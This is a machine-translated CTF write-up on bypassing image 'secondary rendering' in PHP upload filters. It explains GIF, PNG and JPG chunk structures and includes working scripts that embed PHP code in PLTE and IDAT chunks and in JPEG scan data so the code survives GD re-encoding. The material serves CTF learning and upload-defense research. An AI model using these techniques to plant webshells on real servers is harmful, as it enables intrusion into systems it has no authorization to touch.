CTF-File Upload

Keywords: PHP less Database encoding

0x00:Secondary Rendering

The DDCTF that just ended this morning is really a big brain. In addition to worship a bunch of gangsters, get has a lot of new knowledge:
In file upload, most of the questions ask us to upload the picture format, but we will fake some pictures to bypass the validation, some simple front-end validation and some server-side validation, which are simpler, but sometimes involves more difficult points of knowledge, such as what we have to say today: secondary rendering

The so-called secondary rendering:

This is to create a new picture based on the picture uploaded by the user, delete the original picture, and add the new picture to the database.For example, some websites generate images of different sizes, large and small, based on user-uploaded avatars.

Features: Can't upload by ordinary bypass method, PHP code will detect the data stream you passed in the past, if the detection does not conform to png, jpg, gif format will directly error, if upload is successful, PHP will generate new specific JPG files based on your data.They are named using timestamps or other random methods.So normal bypass is simply not possible

Here's an analysis by a big man in the prophet community.(Don't ask me why I don't write on my own, write less, say less, write more, think it's troublesome.)

0x01:Principle Analysis


This is from upload-labs , a range for testing upload vulnerabilities.

Line 71 detects whether fileexts and fileexts and filetype s are in gif format.

Line 73 then uses the move_uploaded_file function to make the judgement that if the file is successfully moved to $target_path, it will enter the code for the second rendering and vice versa, the upload will fail.

There is a problem here. If the author wanted to investigate bypassing secondary rendering, he would have successfully uploaded the picture to the server by the time the move_uploaded_file(tmpname,tmpname,tmpname,target_path) returned true, so the following secondary rendering would not affect the upload of the picture horse. If he wanted to examine the file suffix and content-type, the code for the secondary rendering would beMuch more. (Only the author knows where the exam is.

Since the filename is regenerated during the second rendering, you can determine whether the uploaded image is a second rendered image or a picture moved directly by the move_uploaded_file function based on the file name after the upload.

I've seen all writeup s uploaded directly by the move_uploaded_file function. Today we'll remove the move_uploaded_file judgment and try uploading the picture horse.

0x02: bypass mode

Upload gif:

Add <? PHP phpinfo();?> to the end of 111.gif.


Then, pass in the website and download the image generated by the Website Preview locally

You can see that the name of the picture has been forcibly changed, so from this point we can see that there is a second rendering of the picture, 010 Editor (hexadecimal editor open):

You can see that the php code we added at the end of the gif has been removed.

Regarding the second rendering that bypasses gif, we just need to find the unchanged position before and after rendering, and then write the php code in to upload the picture with php code successfully.

By contrast, the blue part is unchanged.

We'll write the code to that location.

Open locally after uploading using hexadecimal editor

You can see that the php code was not removed. The picture horse was uploaded successfully.

Upload png

A png picture consists of more than three data blocks.

PNG defines two types of data blocks, one called critical chunks, which are standard data blocks, and the other called ancillary chunks, which are optional data blocks.Key data blocks define three standard data blocks (IHDR,IDAT, IEND), which must be included in each PNG file.

Data block structure

The values in the CRC(cyclic redundancy check) field are calculated from data in the Chunk Type Code field and the Chunk Data field.The CRC algorithm is defined in ISO 3309 and ITU-T V.42, and its values are calculated as polynomials generated by the following CRC codes:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

Analyzing data blocks
IHDR
Data block IHDR(header chunk): It contains the basic information of image data stored in a PNG file, and it appears as the first data block in a PNG data stream, and there can only be one header data block in a PNG data stream.

The header data block consists of 13 bytes in the format shown below.

PLTE
Palette PLTE data block is an auxiliary data block. For indexed images, palette information is required. The color index of palette starts from 0, then is 1, 2...If the color depth of the image is 4, the number of colors in the palette cannot exceed 2^4=16. Otherwise, the PNG image will be illegal.

IDAT
Image data block IDAT(image data chunk): It stores the actual data and can contain several consecutive image data blocks in the data stream.

IDAT stores real data information about images, so if we can understand the structure of IDAT, we can easily generate PNG images.

IEND
Image Trailer chunk: It is used to mark the end of a PNG file or data stream and must be placed at the end of the file.

If we look closely at the PNG file, we can see that the 12 characters at the end of the file always look like this:

00 00 00 00 49 45 4E 44 AE 42 60 82

Write php code
There are two ways to make a png Trojan that bypasses secondary rendering on the web.

Write PLTE data block
At the bottom of php, CRC checks are used when validating PLTE data blocks. So you can insert PHP code into chunk data field and recalculate the corresponding CRC values and modify them.

This method is only valid for png images with indexed color images. When selecting a png image, it can distinguish.03 as an indexed color image based on the color type of the IHDR data block.

One:

1. Write php code in the PLTE data block.

2. Calculate the CRC of the PLTE data block.
CRC script

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

Run Results

526579b0

3. Modify CRC values

4. Validation
Upload the modified png picture and download it to open locally

2. Writing IDAT data blocks

Here are scripts written by foreign cattle that can be run directly.

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

Upload it and download it locally. Open the following image

Upload JPG

The script jpg_payload.php written by Daniel Abroad is also used here.

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

Usage method

Get ready

Find a JPG picture anywhere, upload it to the server and download it locally to save it to 1.jpg.

Insert php code

Using scripts to process 1.jpg, commands:

php jpg_payload.php 1.jpg


Open with a hexadecimal editor and you will see the inserted php code.

Upload Picture Horse
Download the uploaded picture locally again and open it with a hexadecimal editor

As you can see, the php code is not removed.
Prove that we uploaded a picture with php code successfully.

It is important to note that some JPG pictures cannot be processed, so try more jpg pictures.

0x03: Actual Operations

Since the DDCTF is over, but according to the authorities, the server should not be shut down for half a year, so you can test it out, hey hey...

0x04: Solutions to basic errors

1. Without a PHP runtime, download phpstudy and enter the php.exe file to generate the pictures.

2.There may be other special character handling functions in DDCTF titles, such as the function that you insert successfully but find that not all of them are displayed, but some of them have been modified. There are two reasons, one is the length of the insertion string, the other is the filtering of a character. Try it yourself.

Posted by powerpants on Wed, 15 May 2019 19:16:04 -0700